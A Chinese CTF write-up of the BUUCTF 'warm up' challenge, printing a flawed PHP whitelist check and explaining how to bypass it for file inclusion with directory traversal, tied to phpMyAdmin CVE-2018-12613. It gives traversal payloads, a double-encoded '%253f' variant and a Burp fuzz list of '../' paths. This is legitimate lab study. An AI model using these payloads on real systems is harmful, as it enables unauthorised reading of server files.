天天看點

一天一題-BUUCTF之warm up

拿到題目,檢視源碼

一天一題-BUUCTF之warm up

看到source.php,檢視其内容

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)//建立函數,&是引用,影響原值
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) { //0.$page是否為空,是否為字元串
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {  //1.$page是否在數組裡
                return true;
            }

            $_page = mb_substr( //取字元串的一部分
                $page,
                0,
                mb_strpos($page . '?', '?') //傳回字元在字元串中首次出現的位置
            );
            if (in_array($_page, $whitelist)) { //$page是否數組中
                return true;
            }

            $_page = urldecode($page); //url解碼
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) { //$page是否數組中
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file']) //是否為空
        && is_string($_REQUEST['file'])//是否是字元串
        && emmm::checkFile($_REQUEST['file'])//進入函數
    ) {
        include $_REQUEST['file'];//滿足條件後包含'file'
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>


           

從上面的代碼中可以看出對傳入的

REQUEST

參數file經過層層篩選,當file進入函數

checkFile

後,可以看出,如果file在數組中,則會傳回True,進而include包含file,大緻猜出這是一個包含漏洞,但是韓式沒有頭緒。看到

checkFile

的變量:

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];

看到還有一個

hint.php

。由于

REQUEST

的參數包含

GET

方法傳遞的參數,是以直接

GET

傳file,在url結尾加

?file=hint.php

,看到傳回的頁面提示

flag not here, and flag in ffffllllaaaagggg

,到這裡我想了好久,還是不明白。覺得checkFike裡的後倆判斷很可疑,但不知如何利用,于是問了度娘,得知:

phpmyadmin4.8.1遠端檔案包含漏洞 CVE-2018-12613

這是一個檔案包含+目錄穿越的漏洞,于是剩下就是構造url了,而url怎麼構造呢?

看checkFile的源碼可以看出,

if (! isset($page) || !is_string($page)) { //0.$page是否為空,是否為字元串
            echo "you can't see it";
            return false;
        }

        if (in_array($page, $whitelist)) {  //1.$page是否在數組裡
            return true;
        }
           

這兩次判斷是做不了手腳了,即使傳回True,也隻能包含$whitelist裡的兩個檔案,于是往下看。

法1:

$_page = mb_substr( //取字元串的一部分
                $page,
                0,
                mb_strpos($page . '?', '?') //傳回字元在字元串中首次出現的位置
            );
            if (in_array($_page, $whitelist)) { //$page是否數組中
                return true;
            }
           

可以看出,

$_page

是我們需要的,也可以被利用,我們大緻構造一個

?file=hint.php?/..//ffffllllaaaagggg

(大緻是這個樣,具體還需要測試),進而既能滿足函數的判斷,也能使目标檔案被包含。達到目的。

同理,繼續往下看

法2:

$_page = urldecode($page); //url解碼
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) { //$page是否數組中
                return true;
            }
           

發現,

$_page

又進行一次解碼,本身伺服器會進行一次解碼,然後可以看出可上一個同理,隻不過需要經過兩次url編碼,是以構造 大緻構造一個

?file=hint.php%253f/..//ffffllllaaaagggg

,進而達到目的。

但是不知道ffffllllaaaagggg檔案在哪,可以寫一個小腳本,跑着試一下

/../../../../../../../../ffffllllaaaagggg

,也即是嘗試找

ffffllllaaaagggg

檔案的路徑,腳本後期再補。

整體就是這樣,兩種方法都可,主要要看那個漏洞的,這個題就是那個漏洞的變換,換湯不換藥。

補充:本來想着用腳本試flag的路徑,然後想了想,還是用burpsuit一把fuzz比較好用,截圖如下:

txt如下

hint.php?/../ffffllllaaaagggg
hint.php?/../../ffffllllaaaagggg
hint.php?/../../../ffffllllaaaagggg
hint.php?/../../../../ffffllllaaaagggg
hint.php?/../../../../../ffffllllaaaagggg
hint.php?/../../../../../../ffffllllaaaagggg
hint.php?/../../../../../../../ffffllllaaaagggg
hint.php?/../../../../../../../../ffffllllaaaagggg
hint.php?/../../../../../../../../../ffffllllaaaagggg
hint.php?/../../../../../../../../../../ffffllllaaaagggg
hint.php?/../../../../../../../../../../../ffffllllaaaagggg

           

用bp跑過的結果:

一天一題-BUUCTF之warm up

于是就跑出來了,但是發下一個問題,就是目錄穿越的時候,隻要

../

的個數大于等于實際的,就會傳回要包含的檔案,正如上圖裡面,Request為>=4都會傳回我們想要的結果,不明白為什麼??希望會的解答一下。